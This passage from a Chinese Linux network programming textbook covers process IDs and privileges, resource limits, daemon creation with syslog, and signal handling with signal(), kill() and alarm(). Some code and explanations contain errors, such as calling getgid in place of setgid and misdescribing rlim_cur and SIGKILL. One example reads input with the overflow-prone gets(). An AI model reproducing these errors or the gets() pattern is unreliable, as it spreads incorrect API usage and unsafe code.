每个进程都有一个当前目录。一个进程的当前目录最初为其父进程的当前目录,可见 当前目录的初始值是通过 fork()和 exec 传送下去的。我们必须认识到,当前目录是进程的 一个属性。如果子进程通过 chdir()改变了它的当前目录,那么其父进程的当前目录并没有 因此而改变。鉴于此原因,系统的 cd 命令(改变当前目录命令)实际上是一个 shell 自身 的内部命令,其代码在 shell 内部,而没有单独的程序文件。只有这样,才能改变相应 shell 进程的当前目录。否则的话,只能改变 cd 程序所运行进程自己的当前目录。当初刚把多任 务处理加入 UNIX 时,cd 命令是作为一个普通程序来实现的,没有考虑到上述情况,因而 引起了一些混乱。 第三章 进程控制 - 43 - 类似的,每个进程还有一个根目录,它与绝对路径名的检索起点有关。与当前目录一 样,进程的根目录的初始值为其父进程的根目录。可以用系统调用 chroot()来改变进程的根 目录,但是这不会改变其父进程的根目录。 3.3.5 进程的有效标识符 每个进程都有一个实际用户标识符和一个实际组标识符,它们永远是启动该进程之用 户的用户标识符和组标识符。 进程的有效用户标识符和有效组标识符也许更重要些,它们被用来确定一个用户能否 访问某个确定的文件。在通常情况下,它们与实际用户标识符和实际组标识符是一致的。 但是,一个进程或其祖先进程可以设置程序文件的置用户标识符权限或置组标识符权限。 这样,当通过 exec 调用执行该程序时,其进程的有效用户标识符就取自该文件的文件主的 有效用户标识符,而不是启动该进程的用户的有效用户标识符。 有几个系统调用可以用来得到进程的用户标识符和组标识符,详见下列程序: #include <unistd.h> #include <sys/types.h> uid_t uid,euid; gid_t gid,egid; …. …. /* 取进程的实际用户标识符 */ uid=getuid(); /* 取进程的有效用户标识符 */ euid=geteuid(); /* 取进程的实际组标识符 */ gid=getgid(); /* 取进程的有效组标识符 */ egid=getegid(); 另外,还有两个系统调用可以用来设置进程的有效用户标识符和有效组标识符,它们 的使用格式如下: #include <sys/types.h> #include <unistd.h> uid newuid; pid newgid; int status; /* 设定进程的有效用户标识符 */ status=setuid(newuid); /* 设定进程的有效组标识符 */ - 44 - Linux网络编程 status=getgid(newgid); 不是超级用户所引用的进程,只能把它的有效用户表示符和有效组标识符重新设置成 其实际用户标识符和实际组标识符。超级用户所引用的进程就可以自由进行其有效用户标 识符和有效组标识符的设置。这两个调用的返回值为零,表示调用成功完成;返回值为-1, 则表示调用失败。 通过这两个系统调用,进程可以改变自己的标识符,进而改变自己的权限(因为 Linux 中权限是通过标识符来判断的)。比如一个 root 建立的进程可以用这种方法放弃一部分的 root 权限而只保留工作所需的权限。这样可以提高系统的安全性。但是需要注意的是,一 旦 root 进程通过这种方式放弃了 root 特权,将无法再通过 setuid()调用的方式重新获得 root 权,因为一个非 root 标识符的进程是无法设定 root 标识符的。这时可以使用 Linux 的另外 两个系统调用 seteuid()和 setegid()。其调用方式和前两个完全相同。但是它们是根据进程程 序文件的标识符来判断设定的。因此,一个 root 的程序文件在任何时候都可以将自己重新 seteuid()为 root。 3.3.6 进程的资源 Linux 提供了几个系统调用来限制一个进程对资源的使用。它们是 getrlimit(),setrlimit() 和 getrusage()。它们的的函数声明如下: #include <sys/time.h> #include <sys/resource.h> #include <unistd.h> int getrlimit (int resource, struct rlimit *rlim); int getrusage (int who, struct rusage *usage); int setrlimit (int resource, const struct rlimit *rlim); 其中,getrlimit 和 setrlimit 分别被用来取得和设定进程对资源的的限制。它们的参数是 相同的,第一个参数 resource 指定了调用操作的资源类型,可以指定的几种资源类型见表 3-1: 表 3-1 resource 参数的取值及其含义 RLIMIT_CPU CPU 时间,以秒为单位。 RLIMIT_FSIZE 文件的最大尺寸,以字节为单位。 RLIMIT_DATA 数据区的最大尺寸,以字节为单位。 RLIMIT_STACK 堆栈区的最大尺寸,以字节为单位。 RLIMIT_CORE 最大的核心文件尺寸,以字节为单位。 RLIMIT_RSS resident set 的最大尺寸。 RLIMIT_NPROC 最大的进程数目 RLIMIT_NOFILE 最多能打开的文件数目。 RLIMIT_MEMLOCK 最大的内存地址空间 第二个参数 rlim 用于取得/设定具体的限制。struct rlimit 的定义如下: struct rlimit { int rlim_cur; int rlim_max; }; rlim_cur 是目前所使用的资源数,rlim_max 是限制数。如果想取消某个资源的限制, 可以把 RLIM_INFINITY 赋给 rlim 参数。 第三章 进程控制 - 45 - 只有超级用户可以取消或者放大对资源的限制。普通用户只能缩小对资源的限制。 如果调用成功,函数返回 0,否则返回-1。 系统调用 getrusage()返回当前的资源使用情况。其有两个参数: 第一个参数 who 指定了查看的对象,可以是: RUSAGE_SELF 查看进程自身的资源使用状况。 RUSAGE_CHILDREN 查看进程的子进程的资源使用状况。 第二个参数 usage 用于接收资源的使用状况,rusage 结构的定义如下: struct rusage { struct timeval ru_utime; /* 使用的用户时间 */ struct timeval ru_stime; /* 使用的系统时间 */ long ru_maxrss; /* 最大的保留集合尺寸 */ long ru_ixrss; /* 内部共享内存尺寸*/ long ru_idrss; /* 内部非共享数据尺寸 */ long ru_isrss; /* 内部非共享栈尺寸 */ long ru_minflt; /* 重复声明页 */ long ru_majflt; /* 错误调用页数 */ long ru_nswap; /* 交换区 */ long ru_inblock; /* 阻塞的输入操作数 */ long ru_oublock; /* 阻塞的输出操作数 */ long ru_msgsnd; /* 发送的消息 */ long ru_msgrcv; /* 接受的消息 */ long ru_nsignals; /* 接受的信号 */ long ru_nvcsw; /* 志愿上下文开关 */ long ru_nivcsw; /* 非志愿上下文开关 */ }; 函数调用成功,返回 0,否则返回-1。 3.3.7 进程的优先级 系统以整型变量 nice 为基础,来决定一个特定进程可得到的 CPU 时间的比例。nice 之 值从 0 至其最大值。我们把 nice 值称为进程的优先数。进程的优先数越大,其优先权就越 低。普通进程可以使用系统调用 nice()来降低它的优先权,以把更多的资源分给其它进程。 具体的做法是给系统调用 nice 的参数定一个正数,nice()调用将其加到当前的 nice 值上。 例如: #include <unistd.h> nice(5); 这就使当前的优先数增加了 5,显然,其对应进程的优先权降低了。 超级用户可以用系统调用 nice()增加优先权,这时只需给 nice()一个负值的参数,如: nice(-1); - 46 - Linux网络编程 3.4 守护进程 3.4.1 简介 守护进程是一种后台运行并且独立于所有终端控制之外的进程。UNIX/Linux 系统通常 有许多的守护进程,它们执行着各种系统服务和管理的任务。 为什么需要有独立于终端之外的进程呢?首先,处于安全性的考虑我们不希望这些进 程在执行中的信息在任何一个终端上显示。其次,我们也不希望这些进程被终端所产生的 中断信号所打断。最后,虽然我们可以通过&将程序转为后台执行,我们有时也会需要程 序能够自动将其转入后台执行。因此,我们需要守护进程。 3.4.2 守护进程的启动 要启动一个守护进程,可以采取以下的几种方式: 1.在系统期间通过系统的初始化脚本启动守护进程。这些脚本通常在目录 etc/rc.d 下, 通过它们所启动的守护进程具有超级用户的权限。系统的一些基本服务程序通常都是通过 这种方式启动的。 2.很多网络服务程序是由 inetd 守护程序启动的。在后面的章节中我们还会讲到它。 它监听各种网络请求,如 telnet、ftp 等,在请求到达时启动相应的服务器程序(telnet server、 ftp server 等)。 3.由 cron 定时启动的处理程序。这些程序在运行时实际上也是一个守护进程。 4.由 at 启动的处理程序。 5.守护程序也可以从终端启动,通常这种方式只用于守护进程的测试,或者是重起因 某种原因而停止的进程。 6.在终端上用 nohup 启动的进程。用这种方法可以把所有的程序都变为守护进程,但 在本节中我们不予讨论。 3.4.3 守护进程的错误输出 守护进程不属于任何的终端,所以当需要输出某些信息时,它无法像通常程序那样将 信息直接输出到标准输出和标准错误输出中。这就需要某些特殊的机制来处理它的输出。 为了解决这个问题,Linux 系统提供了 syslog()系统调用。通过它,守护进程可以向系统的 log 文件写入信息。它在 Linux 系统函数库 syslog.h 中的定义如下: void syslog( int priority, char *format, ...); 该调用有两个参数: priority 参数指明了进程要写入信息的等级和用途,可以的取值如表 3-2 所示: 表 3-2 priority 等级取值及其含义 等级 值 描述 LOG_EMERG 0 系统崩溃(最高优先级) LOG_ALERT 1 必须立即处理的动作 LOG_CRIT 2 危急的情况 LOG_ERR 3 错误 LOG_WARNING 4 警告 LOG_NOTICE 5 正常但是值得注意的情况(缺省) LOG_INFO 6 信息 第三章 进程控制 - 47 - LOG_DEBUG 7 调试信息(最低优先级) 如果等级没有被指定,就自动取缺省值 LOG_NOTICE。 表 3-3 是用途的类型: 表 3-3 priority 用途的取值及其含义 用途 描述 LOG_AUTH 安全/管理信息 LOG_AUTHPRIV 安全/管理信息(私人) LOG_CRON cron 守护进程 LOG_DAEMON 系统守护进程 LOG_FTP ftp 守护进程 LOG_KERN 内核守护进程 LOG_LOCAL0 local use LOG_LOCAL1 local use LOG_LOCAL2 local use LOG_LOCAL3 local use LOG_LOCAL4 local use LOG_LOCAL5 local use LOG_LOCAL6 local use LOG_LOCAL7 local use LOG_LPR 行打印机系统 LOG_MAIL mail 系统 LOG_NEWS network news 系统 LOG_SYSLOG syslogd 进程产生的信息 LOG_USER 随机用户信息(缺省) LOG_UUCP UUCP 系统 如果没有指定用途,缺省的 LOG_USER 就自动被指定。 syslog()调用后面的参数用法和 printf()类似,message 是一个格式串,指定了记录输出 的格式。需要注意的是在这个串的最后需要指定一个%m,其对应着 errno 错误码。 下面是一个例子: syslog(LOG_INFO|LOG_LOCAL2,”rename(%s,%s): %m”,file1,file2); 在 etc/syslog.conf 中指定了各种信息存放的位置。例如,在 syslog.conf 中下面的一项: local7.debug /var/log/temp/log 表示系统将所有 LOG_DEBUG|LOG_LOCAL7 的信息都储存到/var/log/temp/log 中,这 样可以方便信息的分类整理。 在一个进程使用 syslog()的时候,应该先使用 openlog()打开系统记录: #include <syslog.h> void openlog(const char *ident, int options, int facility); 参数 ident 是一个字符串,它将被加在所有用 syslog()写入的信息前。通常这个参数是 程序的名字。 参数 options 可以是表 3-4 这些参数或是它们的或(|)的结果: 表 3-4 option 的取值及其含义 参数 描述 LOG_CONS 如果不能写入 log 信息,则直接将其发往主控台 LOG_NDELAY 直接建立与 syslogd 进程的连接而不是打开 log 文件 LOG_PERROR 将信息写入 log 的的同时也发送到标准错误输出 LOG_PID 在每个信息中加入 pid 信息。 - 48 - Linux网络编程 参数 facility 指定了 syslog()调用的缺省用途值。 在使用完 log 之后,可以使用系统调用 closelog()来关闭它: void closelog(void); 3.4.4 守护进程的建立 在介绍守护进程的建立之前,首先来看一下下面的这个例程 daemon_init() ,它演示了 建立一个守护进程的全部过程: #include <sys/types.h> #include <signal.h> #include <unistd.h> #include <syslog.h> #define MAXFD 64 void daemon_init(const char *pname, int facility) { int i: pid_t pid; /* fork,终止父进程 */ if (pid=fork()) exit(0); /* 第一子进程 */ setsid(); signal(SIGHUP,SIG_IGN); /* fork,终止第一子进程 */ if (pid=fork()) exit(0); /* 第二子进程 */ daemon_proc=1; /* 将工作目录设定为"/" */ chdir("/"); /* 清除文件掩码 */ umask(0); /* 关闭所有文件句柄 */ for (i=0;i<MAXFD;i++) { close(i); } /* 打开 log */ openlog(pname,LOG_PID,facility); } 看过了上面的程序,下面我们就来讲讲建立一个守护进程需要进行哪些操作: 第三章 进程控制 - 49 - 1.fork 首先需要 fork 一个子进程并将父进程关闭。如果进程是作为一个 shell 命令在命令行上 前台启动的,当父进程终止时,shell 就认为该命令已经结束。这样子进程就自动称为了后 台进程。而且,子进程从父进程那里继承了组标识符同时又拥有了自己的进程标识符,这 样保证了子进程不会是一个进程组的首进程。这一点是下一步 setsid 所必须的。 2.setsid setsid()调用创建了一个新的进程组,调用进程成为了该进程组的首进程。这样,就使 该进程脱离了原来的终端,成为了独立于终端外的进程。 3.忽略 SIGHUP 信号,重新 fork 这样使进程不在是进程组的首进程,可以防止在某些情况下进程意外的打开终端而重 新与终端发生联系。 4.改变工作目录,清除文件掩码 改变工作目录主要是为了切断进程与原有文件系统的联系。并且保证无论从什么地方 启动进程都能正常的工作。清除文件掩码是为了消除进程自身掩码对其创建文件的影响。 5.关闭全部已打开的文件句柄 这是为了防止子进程继承了在父进程中打开的文件而使这些文件始终保持打开从而产 生某些冲突。 6.打开 log 系统 以上就是建立一个守护进程的基本步骤。当然,一个实际的守护进程要比这个例子复 杂许多,但是万变不离其宗,原理都是相同的。通过上面几步,我们可以正确的建立自己 的守护进程。 3.5 本章小结 进程是 UNIX/Linux 系统的基本核心概念,具有十分重要的地位和作用。 在本章中,我们详细介绍了进程的建立和使用以及相关的问题。熟练的掌握这些知识, 是 Linux 编程所必须的。希望读者能用心体会。 - 50 - Linux网络编程 第四章 进程间通信 网络程序设计中通常包括两个或更多的需要互相对话(interprocess communications) 的进程,因此进程通信的方法在网络程序设计中是极为重要的。网络程序设计在这个方面 不同于一般程序设计通常所使用的方法。一个传统的程序可以通过全局变量或函数调用和 不同的模块(甚至同一机器上的其它应用程序)对话,但是在网络上却不行。 网络程序设计的一个重要的目标是保证进程间不互相干涉,否则系统可能被挂起或自 锁,因此,进程间必须使用简洁有效的方法进行通信,在此方面,Linux 具有非常显著的 兼容性。因为 Linux 的许多基本性能如管道,队列等都非常适合网络。 在这一章中,我们将详细的介绍各种进程间通信的方法及其使用方式。 4.1 进程间通信的一些基本概念 下面是一些在学习进程间通信时会遇到的基本概念: 进程阻塞 当一个进程在执行某些操作的条件得不到满足时,就自动放弃 CPU 资源而进入休眠状 态,以等待条件的满足。当操作条件满足时,系统就将控制权返还给该进程继续进行未完 的操作。 共享资源 因为计算机的内存、存储器等资源是有限的,无法为每一个进程都分配一份单独的资 源。所以系统将这些资源在各个进程间协调使用,称为共享资源。 锁定 当某个进程在使用共享资源使用,可能需要防止别的进程对该资源的使用。比如,一 个进程在对某个文件进行读操作时,如果别的进程也在此时向文件中写入了内容,就可能 导致进程读入错误的数据。为此,Linux 提供一些方法来保证共享资源在被某个进程使用 时,别的进程无法使用。这就叫做共享资源的锁定。 4.2 信号 信号是 UNIX 系统所使用的进程通信方法中,最古老的一种。系统使用它来通知一个 或多个进程异步事件的发生,比如键盘上某个键被按下,或者计时器到达了某个特定的事 件。系统也用信号来处理某种严重的错误。比如,一个进程试图向一块不存在的虚拟内存 写入数据,或者某个进程试图执行一条非法指令。 信号不但能从内核发往一个进程,也能从一个进程发往另一个进程。例如,用户在后 台启动了一个要运行较长时间的程序,如果想中断其执行,可以用 kill 命令把 SIGTERM 信号发送给这个进程,SIGTERM 将终止此进程的执行。 信号还提供了向 UNIX 系统进程传送软中断的简单方法。信号可以中断一个进程,而 不管它正在作什么工作。由于信号的特点,所以不用它来作进程间的直接数据传送,而把 它用作对非正常情况的处理。 由于信号本身不能直接携带信息,这就限制了它作为一项通用的进程通信机制。但是, 第四章 进程间通信 - 51 - 每种信号都有其特定的含义,并由其名字所指示。在 Linux 系统库 bits/signum.h 中对这些 信号名作了定义,每个名字代表一个正整数。例如: #define SIGHUP 1 /* Hangup (POSIX). */ 定义了信号 SIGHUP。 Linux 提供的大多数信号类型是供内核使用的,只有少数的几种信号可以用作在进程 之间传送。下面给出常用的信号和它们的意义: SIGHUP 当终止一个终端时,内核就把这一种信号发送给该终端所控制的所有进程。通常情况 下,一个进程组的控制终端是该用户拥有的终端,但不完全是如此。当进程组的首进程结 束时,就会向该进程组的所有进程发送这种信号。这就可以保证当一个用户退出使用时, 其后台进程被终止,除非有其它方面的安排。 SIGINT 当一个用户按了中断键(一般为 Ctrl+C)后,内核就向与该终端有关联的所有进程发 送这种信号。它提供了中止运行程序的简便方法。 SIGQUIT 这种信号与 SIGINT 非常相似,当用户按了退出键时(为 ASCII 码 FS,通常为 Ctrl+\), 内核就发送出这种信号。SIGQUIT 将形成 POSIX 标准所描述的非正常终止。我们称这种 UNIX 实现的实际操作为核心转贮(core dump),并用信息“ Quit (core dump)” 指出这一操 作的发生。这时,该进程的映象被转贮到一个磁盘文件中,供调试之用。 SIGILL 当一个进程企图执行一条非法指令时,内核就发出这种信号。例如,在没有相应硬件 支撑的条件下,企图执行一条浮点指令时,则会引起这种信号的发生。SIGILL 和 SIGQUIT 一样,也形成非正常终止。 SIGTRAP 这是一种由调试程序使用的专用信号。由于他的专用行和特殊性,我们不再对它作进 一步的讨论。SIGTRAP 也形成非正常终止。 SIGFPE 当产生浮点错误时(比如溢出),内核就发出这种信号,它导致非正常终止。 SIGKILL 这是一个相当特殊的信号,它从一个进程发送到另一个进程,使接收到该信号的进程 终止。内核偶尔也会发出这种信号。SIGKILL 的特点是,它不能被忽略和捕捉,只能通过 用户定义的相应中断处理程序而处理该信号。因为其它的所有信号都能被忽略和捕捉,所 以只有这种信号能绝对保证终止一个进程。 SIGALRM 当一个定时器到时的时候,内核就向进程发送这个信号。定时器是由改进程自己用系 统调用 alarm()设定的。 SIGTERM 这种信号是由系统提供给普通程序使用的,按照规定,它被用来终止一个进程。 SIGSTOP 这个信号使进程暂时中止运行,系统将控制权转回正在等待运行的下一个进程。 SIGUSR1 和 SIGUSR2 和 SIGTERM 一样,这两种信号不是内核发送的,可以用于用户所希望的任何目的。 SIGCHLD 子进程结束信号。UNIX 中用它来实现系统调用 exit()和 wait()。执行 exit()时,就向子 - 52 - Linux网络编程 进程的父进程发送 SIGCHLD 信号,如果这时父进程政在执行 wait(),则它被唤醒;如果这 时候父进程不是执行 wait(),则此父进程不会捕捉 SIGCHLD 信号,因此该信号不起作用, 子进程进入过渡状态(如果父进程忽略 SIGCHLD,子进程就结束而不会进入过渡状态)。 这个机制对大多数 UNIX 程序员来说是相当重要的。 对于大多数情况来说,当进程接收到一个信号时,它就被正常终止,相当于进程执行 了一个临时加入的 exit()调用。在这种情况下,父进程能从进程返回的退出状态中了解可能 发生的事情,退出状态的低 8 位含有信号的号码,其高 8 位为 0。 信号 SIGQUIT、SIGILL、SIGTRAP、SIGSYS 和 SIGFPE 会导致一个非正常终止,它 们将发生核心转贮,即把进程的内存映象写入进程当前目录的 core 文件之中。core 文件中 以二进制的形式记录了终止时程序中全部变量之值、硬件寄存器之值和内核中的控制信息。 非正常终止进程的退出状态除了其低端第 7 位被置位外,其它均与通过信号正常终止时一 样。 Linux 的调试程序 gdb 知道 core 文件的格式,可以用它们来观察进程在转贮点上的状 态。这样,就可以用 gdb 正确的定出发生问题的位置。 这里再介绍一下系统调用 abort(),它在 Linux 系统库 stdlib.h 中定义: void abort(void); abort()向调用进程发送一个信号,产生一个非正常终止,即核心转贮。由于它能够使 一个进程在出错时记录进程的当前状态,所以可以用它来作为调试的辅助手段。这也说明 了进程可以向自己发送信号这一事实。 4.2.1 信号的处理 几乎所有的信号都将终止接收到该信号的进程。对于一些简单的程序,这完全能满足 要求。用户按了中断或者退出键,就可以停止一个有问题的程序的运行。但是在大型的程 序中,一些意料之外的信号会导致大问题。例如,正当在对一个重要的数据库进行修改期 间,由于不小心碰到了中断键,而使程序被意外的终止,从而产生严重的后果。 UNIX 的系统调用 signal()用于接收一个指定类型的信号,并可以指定相应的方法。这 就是说,signal()能够将指定的处理函数与信号向关联。它在 Linux 系统库 signal.h 中的函 数声明如下: int signal (int sig, __sighandler_t handler); Signal()有两个参数: 第一个参数 sig 指明了所要处理的信号类型,它可以取除了 SIGKILL 和 SIGSTOP 外 的任何一种信号。参数 handler 描述了与信号关联的动作,它可以取以下三种值: 一个返回值为整数的函数地址。 此函数必须在 signal()被调用前声明,handler 中为这个函数的名字。当接收到一个类型 为 sig 的信号时,就执行 handler 所指定的函数。这个函数应有如下形式的定义: int func(int sig); sig 是传递给它的唯一参数。执行了 signal()调用后,进程只要接收到类型为 sig 的信号, 不管其正在执行程序的哪一部分,就立即执行 func()函数。当 func()函数执行结束后,控制 权返回进程被中断的那一点继续执行。 SIG_IGN 这个符号表示忽略信号。执行了相应的 signal()调用好,进程会忽略类型为 sig 的信号。 SIG_DFL 这个符号表示恢复系统对信号的默认处理。 第四章 进程间通信 - 53 - 函数如果执行成功,就返回信号在此次 signal()调用之前的关联。 如果函数执行失败,就返回 SIG_ERR。通常这种情况只有当 sig 参数不是有效的信号 时才会发生。函数不对 handler 的有效性进行检查。 下面我们来看几个例子。 首先,下面的这段代码则将使进程忽略 SIGINT 信号: #include <stdlib.h> #include <stdio.h> #include <signal.h> int main(void) { signal(SIGINT,SIG_IGN); /*告诉进程将 SIGINT 信号忽略*/ printf("xixi\n"); sleep(10); /*系统函数 sleep()使进程休眠指定的时间(以秒为单位)*/ printf("end\n"); return; } 如果在程序中需要重新恢复系统对信号的缺省处理,就使用下面的语句: signal(SIGINT,SIG_DFL); 在 Linux 程序中常常利用 SIG_IGN 和 SIG_DFL 屏蔽 SIGINT 和 SIGQUIT 来保证执行 重要任务的程序不会被意外的中止。 在 shell 中也是利用这一技术来确保用户按中断键时,不中断后台程序的运行。因为被 一个进程忽略的信号,在进程执行 exec()调用后,仍然被忽略,所以 shell 能够调用 signal() 来保证 SIGQUIT 和 SIGINT 被忽略,然后用 exec 执行新程序。但是要注意到,在父进程 中设定的信号和函数的关联关系会被 exec()调用自动用 SIG_DFL 恢复成系统的缺省动作, 这是因为在 exec 的子进程中没有父进程的函数映象。 再让我们来看看下面这段捕捉 SIGINT 的代码: #include <stdlib.h> #include <stdio.h> #include <signal.h> int catch(int sig); int main(void) { signal(SIGINT,catch); /* 将 SIGINT 信号与 catch 函数关联 */ printf("xixi\n"); sleep(10); printf("end\n"); return; } int catch(int sig) { - 54 - Linux网络编程 printf("Catch succeed!\n"); return 1; } 当程序运行时我们按下中断键(Ctrl+C),进程被中断,函数 catch 就被执行。它执行 完毕后,进程回到中断点继续执行。 如果我们希望一个进程被信号终止前能够完成一些处理工作,如删除工作中使用的临 时文件等,就可以设计一个信号处理函数来完成工作。比如可以有这样的一个处理函数: int catch(int sig) { printf("Catch succeed!\n"); exit(1); } 这个函数在最后调用 exit()函数来使进程结束运行。这样就保留了信号原有的中断进程 的功能。 这里需要指出一点,当程序把一个信号处理函数与 SGINT 和 SIGQUIT 联系起来后, 如果该程序在后台执行,那么由于 shell 的作用,会使得 SIGINT 和 SIGQUIT 被忽略。这 样后台程序就不会被 SIGINT 和 SIGOUT 所中止。 前面曾经提过,signal()调用返回原先与指定信号相关联的处理函数,这样,我们就可 以保存和恢复原来对指定信号的处理动作。下面的代码说明这一技术: int (*oldptr)(),newcatch(); /* 设定 SIGINT 的关联,同时保存原来的关联*/ oldptr=singal(SIGINT,newcatch); /* 工作代码段 */ ….. /* 恢复原来的关联 */ signal(SIGINT,oldptr); 4.2.2 信号与系统调用的关系 当一个进程正在执行一个系统调用时,如果向该进程发送一个信号,那么对于大多数 系统调用来说,这个信号在系统调用完成之前将不起作用,因为这些系统调用不能被信号 打断。但是有少数几个系统调用能被信号打断,例如:wait(),pause()以及对慢速设备(终端、 打印机等)的 read()、write()、open()等。如果一个系统调用被打断,它就返回-1,并将 errno 设为 EINTR。可以用下列代码来处理这种情况: if (wirte(tfd,buf,SIZE)<0) { if (errno==EINTR) { warn(“Write interrupted.”); … … } } 第四章 进程间通信 - 55 - 4.2.3 信号的复位 在 Linux 中,当一个信号的信号处理函数执行时,如果进程又接收到了该信号,该信 号会自动被储存而不会中断信号处理函数的执行,直到信号处理函数执行完毕再重新调用 相应的处理函数。下面的程序演示了这一点: #include <signal.h> int interrupt() { printf(“Interrupt called\n”); sleep(3); printf(“Interrupt Func Ended.\n”); } main() { signal(SIGINT,interrupt); printf(“Interrupt set for SIGINT\n”); sleep(10); printf(“Program NORMAL ended.\n”); return; } 执行它,结果如下: Interrupt set for SIGINT <ctrl+c> Interrupt called <ctrl+c> Func Ended Interrupt called Func Ended Program NORMAL ended. 但是如果在信号处理函数执行时进程收到了其它类型的信号,该函数的执行就会被中 断: #include <signal.h> int interrupt() { printf(“Interrupt called\n”); sleep(3); printf(“Interrupt Func Ended.\n”); } int catchquit() { - 56 - Linux网络编程 printf(“Quit called\n”); sleep(3); printf(“Quit ended.\n”); } main() { signal(SIGINT,interrupt); signal(SIGQUIT,catchquit); printf(“Interrupt set for SIGINT\n”); sleep(10); printf(“Program NORMAL ended.\n”); return; } 执行这个程序的结果如下: Interrupt set for SIGINT <ctrl+c> Interrupt called <ctrl+\> Quit called Quit ended. Interrupt Func Ended. Program NORMAL ended. 还要注意的是,在 Linux 系统中同种信号是不能积累的。比如我们执行上面的代码: Interrupt set for SIGINT <ctrl+c> Interrupt called <ctrl+c><ctrl+c><ctrl+c> Func Ended Interrupt called Func Ended Program NORMAL ended. 而且如果两个信号同时产生,系统并不保证进程接收它们的次序。以上的两个缺点影 响了信号作为进程通信手段的可靠性,因为一个进程不能保证它发出的信号不被丢失。 当某个信号未被处理的时候,如果对该信号执行 signal 调用,那么该信号将被注销。 4.2.4 在进程间发送信号 一个进程通过对 signal()的调用来处理其它进程发送来的信号。同时,一个进程也可以 向其它的进程发送信号。这一操作是由系统调用 kill()来完成的。kill()在 linux 系统库 signal.h 中的函数声明如下: int kill(pid_t pid, int sig); 参数 pid 指定了信号发送的对象进程:它可以是某个进程的进程标识符(pid),也可以 是以下的值: 如果 pid 为零,则信号被发送到当前进程所在的进程组的所有进程; 第四章 进程间通信 - 57 - 如果 pid 为-1,则信号按进程标识符从高到低的顺序发送给全部的进程(这个过程受 到当前进程本身权限的限制,请看后面的解释); 如果 pid 小于-1,则信号被发送给标识符为 pid 绝对值的进程组里的所有进程。 需要说明的是,一个进程并不是向任何进程均能发送信号的,这里有一个限制,就是 普通用户的进程只能向具有与其相同的用户标识符的进程发送信号。也就是说,一个用户 的进程不能向另一个用户的进程发送信号。只有 root 用户的进程能够给任何线程发送信号。 参数 sig 指定发送的信号类型。它可以是任何有效的信号。 由于调用 kill()的进程需要直到信号发往的进程的标识符,所以这种信号的发送通常只 在关系密切的进程之间进行,比如父子进程之间。 下面是一个使用 kill()调用发送信号的例子。这个程序建立两个进程,并通过向对方发 送信号 SIGUSR1 来实现它们之间的同步。这两个进程都处于一个死循环中,在接收对方发 送的信号之前,都处于暂停等待中。这是通过系统调用 pause()来实现的,它能够使一个程 序暂停,直至一个信号到达,然后进程输出信息,并用 kill 发送一个信号给对方。当用户 按了中断键,这两个进程都将终止。 #include <signal.h> int ntimes=0; main() { int pid,ppid; int p_action(), c_action(); /* 设定父进程的 SIGUSR1 */ signal(SIGUSR1,p_action); switch(pid=fork()) { case -1: /*fork 失败*/ perror("synchro"); exit(1); case 0: /*子进程模块*/ /* 设定子进程的 SIGUSR1 */ signal(SIGUSR1,c_action); /* 获得父进程的标识符 */ ppid=getppid(); for(;;) { sleep(1); kill(ppid,SIGUSR1); pause(); } - 58 - Linux网络编程 /*死循环*/ break; default: /*父进程模块*/ for (;;) { pause(); sleep(1); kill(pid,SIGUSR1); } /*死循环*/ } } p_action() { printf("Patent caught signal #%d\n",++ntimes); } c_action() { printf("Child caught signal #%d\n",++ntimes); } 程序运行结果如下: Patent caught signal #1 Child caught signal #1 Patent caught signal #2 Child caught signal #2 Patent caught signal #3 Child caught signal #3 Patent caught signal #4 Child caught signal #4 <ctrl+c> 这里顺便介绍一下 kill 命令,它是一个对系统调用 kill()的命令层接口。kill 命令用于 向一个运行进程发送信号,它发送的信号默认为 SIGTERM,但是也可以指定为其它信号。 我们可以直接用信号的号码来指定 kill 命令所发送信号之类型,也可以用符号名指定。比 如可以用下面的命令来完成向进程标识符为 1234 的进程发送 SIGINT 信号: kill –s SIGINT 1234 4.2.5 系统调用 alarm()和 pause() 1.系统调用 alarm() alarm()是一个简单而有用的系统调用,它可以建立一个进程的报警时钟,在时钟定时 第四章 进程间通信 - 59 - 器到时的时候,用信号向程序报告。alarm()系统调用在 Linux 系统函数库 unistd.h 中的函数 声明如下: unsigned int alarm(unsigned int seconds); 函数唯一的参数是 seconds,其以秒为单位给出了定时器的时间。当时间到达的时候, 就向系统发送一个 SIGARLM 信号。例如: alarm(60); 这一调用实现在 60 秒后发一个 SIGALRM 信号。alarm 不会象 sleep 那样暂停调用进 程的执行,它能立即返回,并使进程继续执行,直至指定的延迟时间到达发出 SIGALRM 信号。事实上,一个由 alarm()调用设置好的报警时钟,在通过 exec()调用后,仍将继续有 效。但是,它在 fork()调用后中,在子进程中失效。 如果要使设置的报警时钟失效,只需要调用参数为零的 alarm(): alarm(0) alarm()调用也不能积累。如果调用 alarm 两次,则第二次调用就取代第一次调用。但 是,alarm 的返回值柜橱了前一次设定的报警时钟的剩余时间。 当需要对某项工作设置时间限制时,可以使用 alarm()调用来实现。其基本方法为:先 调用 alarm()按时间限制值设置报警时钟,然后进程作某一工作。如果进程在规定时间以内 完成这一工作,就再调用 alarm(0)使报警时钟失效。如果在规定时间内未能完成这一工作, 进程就会被报警时钟的 SIGALRM 信号中断,然后对它进行校正。 下面这个程序使用上述方法来强制用户作出回答。在其中包括一个 quickreply()函数, 它有一个参数 prompt,它是一个指向提示字符串的指针。quickreply 的返回值也是一个指 针。它指向含有输入行信息的字符串。这个例行程序在试作五次之后,如果仍未得到输入 信息,就返回一个 null 指针。每当 quickreply 要提醒用户时,它就向终端发送 ASCII 码 007, 这会使终端响铃。 quickreply 调用了标准 I/O 库中的例行程序 gets()。gets()把标准输入上的下一行信息存 入一个字符型数组,它返回一个指向该数组的指针。当到达文件末或出错时,gets 则返回 一个 null 指针。函数 catch 是信号 SIGALRM 的关联函数,它完成对此信号的处理。catch 设置了一个 timed_out 标志,在 quickreply 中对这个标志进行检查,看它是否超过了规定的 时限。 #include <stdio.h> #include <signal.h> #define TIMEOUT 5 #define MAXTRIES 5 #define LINESIZE 100 #define BELL '\007' #define TRUE 1 #define FALSE 0 /* 判断超时是否已经发生的标志 */ static int time_out; static char inputline[LINESIZE]; char* quickreply (char* prompt); - 60 - Linux网络编程 main() { printf("%s\n",quickreply("Input")); } char* quickreply (char* prompt) { int (*was)(),catch(),ntries; char* answer; /* 设定捕捉 SIGALRM 的的关联并保存原有关联 */ was=signal(SIGALRM,catch); for (ntries=0;ntries<MAXTRIES;ntries++) { time_out=FALSE; printf("\n%s>",prompt); /* 设定定时器 */ alarm(TIMEOUT); /* 获取输入 */ answer=gets(inputline); /* 关闭定时器 */ alarm(0); if (!time_out) break; } /* 